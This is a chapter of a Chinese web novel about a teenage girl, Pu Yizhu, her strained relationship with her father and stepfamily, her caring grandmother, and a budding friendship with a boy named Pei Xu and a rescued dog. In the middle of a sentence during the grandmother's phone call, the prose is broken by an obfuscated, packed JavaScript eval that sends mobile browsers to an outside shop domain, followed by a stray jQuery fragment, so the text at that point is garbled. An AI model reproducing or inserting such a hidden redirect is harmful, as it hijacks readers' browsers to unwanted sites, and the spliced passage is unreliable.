奶奶拉着她的手,凑近耳边悄声说:“她和你爸都结婚多久了,你怎么还喊她阿姨,应该喊妈妈才对。”
“她就是阿姨,妈妈是孕育和养育我的人。”蒲亦竹平静地陈述事实。
“哎呀,你不要让爸爸难做。”
“奶奶您太操心了,阿姨也不缺女儿。”
老太太犟不过蒲亦竹,又是大半年没见,没必要为了这点事情争执。她回头看了眼躺在沙发上看手机的继姐,叹了口气:“说得也是。”
她低声朝蒲亦竹抱怨了起来:“也不知道给你爸灌了什么迷魂汤药,成日里好吃懒做,花钱大手大脚的,把别人的女儿当亲生的养……”
老太太说到这句停顿了一下,适时地闭上了嘴,转头打量蒲亦竹的神色:“奶奶嘴笨,不是这意思。”
蒲亦竹的神色淡然,像是没听到这句话,她将水盆里的菜捞了起来,询问奶奶:“还有什么要洗的嘛?”
她忙着切菜,嫌弃地像蒲亦竹挥挥手:“没有没有,你先出去歇着,站这儿影响我做饭。”
蒲亦竹只好从厨房走出去,看到她爸爸、阿姨、继姐坐在沙发上一起看着电视,像是其乐融融的一家人。她不想过去,站在厨房旁边看着奶奶忙碌。
老人家手脚麻利地处理着食材,三下五除二便将一只鸡剁成了块状。
蒲亦竹想,婆婆是不是总对儿媳不满意?
从前奶奶也不满意她妈妈,总和姑姑一起说季安的坏话。
蒲亦竹叹了口气,不过爸爸不缺钱的话,应该能给她生活费吧?
少女面上闪过一丝愁色,顿时觉得难以启齿,似乎不习惯向父亲伸手讨要,也或许是她心中隐隐知晓父亲对自己的吝啬。
吃完奶奶做的丰盛晚饭后,蒲亦竹还是没有开口说生活费的事情,准备离开奶奶家。
老太太走到坐在沙发上的爸爸面前,指挥道:“别玩手机了,亦竹要走了,你送她到公交站。”
蒲亦竹看了旁边的爸爸一眼,他低头,还在沉迷手机里的视频,似乎没听到奶奶说话。
她连忙摆手:“奶奶,没关系的,我可以自己……”
没等她说完,奶奶气得一巴掌呼在爸爸背上,她的手粗壮有力发出一声脆响,嗓门也打了起来:“和你说话没听到吗?成天就知道看那个破手机。”
“送送亦竹!她一个小姑娘走夜路不安全。”
爸爸这才肯抬起头,他的眼神定格在蒲亦竹脸上一秒,闪过一丝烦躁,他起身先往外走去:“走吧,亦竹。”
蒲亦竹连忙追上去,两个一高一低的背影,相似的面孔,沉默压抑的氛围。
两人之间,无话可说。
到了公交站,男人终于开口,干巴巴地嘱咐她几句“好好学习”之类的话。
蒲亦竹点头,微笑着说“好”。
这场面,像是许久不见的远亲,没话硬找话聊。
蒲亦竹觉得好笑,不过他们也确实是亲戚。
她脑海里闪过季安愤愤不平的神情,女人的嘴一张一合:
—“你也是他的女儿,凭什么让我一个人养!”
—“你本就是未成年人,他有抚养你的义务!”
—“你不找你爸要钱,他就把钱都给别人了!”
男人从口袋里拿出烟,准备点上一根。
蒲亦竹抿嘴,她极其厌恶烟的味道,终于主动开口道:“公交站台属于公开场所,禁止抽烟的。”
男人惊奇地看了蒲亦竹一眼,没想到安静的女儿会制止他抽烟,但还是听话地将烟收了起来。
然后又听到蒲亦竹说:“爸爸,这个月的生活费什么时候给我?”
他张口训斥道:“没礼貌,怎么这样要钱?你妈妈没给你钱?!”
蒲亦竹做了好一番心理斗争,才把生活费的事情说出口,说完她也发现自己讲话有些硬邦邦,又听了爸爸的训斥,心里略微觉得难堪,但语气还是软和了下来:“妈妈一直很辛苦地打工,生活费都有转给我,但我也是你的女儿呀。”
她的言外之意就是,就是怎么能让妈妈一个人这么辛苦?
男人脸上终于浮现出一丝尴尬,他往口袋里伸,掏出了一张绿色的纸币递给蒲亦竹:“我的钱现在都在阿姨手里,你先花着,等这个月发工资了就立马给你转生活费。”
“好。”蒲亦竹沉默地垂下眼眸,接过那张绿色纸币,五十块钱应该勉强够她在学校吃一周的早午餐。
纸币带着爸爸体温,蒲亦竹觉得有些烫手,便用两指轻轻捏着。
刚好这时327路公交车驶来,她也能顺理成章和爸爸告别。
公交车上很空,她随便找了个位置坐下,不知为何又看向公交站台。
男人已经离开了。
蒲亦竹回到了阿婆家的小区,脚下步伐沉重地走上老破的楼梯,推开门发现家里空无一人。
她冲了个热水澡回到小房间,在这个独立的空间里,终于放松了下来。
她哼着歌打开包,今天去奶奶家之前,她还去书店买了一些老师让买的课外练习册,却意外摸到了一叠纸币。
看着这叠红通通的纸币,蒲亦竹的神情有些不知所措,她低头数着纸币:“一、二、三、四、五。”
一共五百块钱。
应该是奶奶塞给她的,老太太的退休工资也才几百块。
她立马拨打奶奶的电话,短暂的几秒钟过后,电话接通:“亦竹啊,怎么了吗?你到你阿婆家了没?”
“到了。”蒲亦竹眼睛泛酸,她压低声线:“奶奶,你怎么给我这么多钱。”
老太太爽朗大笑:“奶奶给你点零花钱而已,可不能说不要啊!”
“本来想给你买件衣服,但又怕我们老年人喜欢的,你穿不合适。”奶奶顿了一下,又开始嘱咐道:
“亦竹啊,你妈你爸都不在身边,你要照顾好自己。要是……在阿婆家过得不好,就来找奶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17827455|210297||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
奶。”
蒲亦竹知道老太太心有余力不足,找她也只是徒曾烦恼罢了,但仍旧乖巧点头,又忽然意识到奶奶看不到。
“恩。”
老太太又絮絮叨叨地说了些话,临近她睡觉的时间,才挂了电话。
蒲亦竹叹了口气,才发现裴煦不知什么时候,给她发了消息:
【明天要来看看糯米嘛?它似乎有些想你。】
【图片】
网速有些慢,蒲亦竹加载了图片,才看到一只卷毛小白狗坐在门口的背影,看上去可爱又可怜巴巴,不由笑出声:
【好呀,明天晚上可以嘛?】
【行。】
*
傍晚,落日将大地染成一片金色。
蒲亦竹今早已经和阿婆说了,跟同学在外面吃晚饭。
一放学她就急匆匆地往外走。
在打包了学校门口两份酱炒鸡腿饭后,向河边公园走去。
少女走下长阶梯,拨打电话寻找裴煦。
刚好他就站在面前的那一棵树下,他垂着头,正百般无聊地用脚划着地面,而他的手拿起手机。
蒲亦竹来不及挂断电话,听到男声从耳边传来,懒洋洋地:“你到哪了?”
蒲亦竹:“……你面前。”
他茫然地抬起头,看到她的一瞬间,眼尾微微上挑的丹凤眼瞬间变得圆钝而亮晶晶,立即朝着她的方向奔来,书包摇摇晃晃,夕阳在他身后追赶,刺得蒲亦竹眯起眼睛。
她有点想笑,此刻裴煦奔跑的样子像极了犬类,和旁边的糯米简直一样,一人一狗朝着她狂奔而来,身后的大尾巴热情摇晃着。
电话中传来他的喘息声,几秒钟的时间,他已经跑到她面前,正手忙脚乱的刹住脚,裴煦头上碎发微乱,眼里带着笑意,手机里电流般的声音和现实重叠:“蒲亦竹!”
蒲亦竹愣了一下,才挂掉电话:“我给你打包了鸡腿饭,我们找个地方吃吧。”
糯米热情地不停在蒲亦竹脚下转悠,它站直身体,小爪子不停扑在蒲亦竹裤腿上。
裴煦顺手伸手接过她手中的饭,蒲亦竹顺势抱起糯米,抚摸着它暖呼呼的脑袋:“好啦,糯米,我也想你了。”
两人走向凉亭,里面刚好有一个石桌,两人将身上的东西都放到一旁,蒲亦竹将饭盒打开。裴煦去机器前扫码,拿着两瓶饮料回来了,他递给蒲亦竹:“又给我买饭?”
“毕竟糯米麻烦你收留了。”蒲亦竹低下头,觉得不好意思:“我已经在给它找领养了,可能还需要点时间。”
裴煦用筷子戳着鸡腿,轻笑一声:“没关系啊,反正我爸妈出差,一时半会回不来,有糯米陪着我,家里都热闹了许多。”
“而且……”
“而且什么?”蒲亦竹塞了口鸡腿,不明所以地望向裴煦,怎么说一半停住了?
少年漆黑的眼睛看着少女弯了起来:
“而且,还能多见到你。”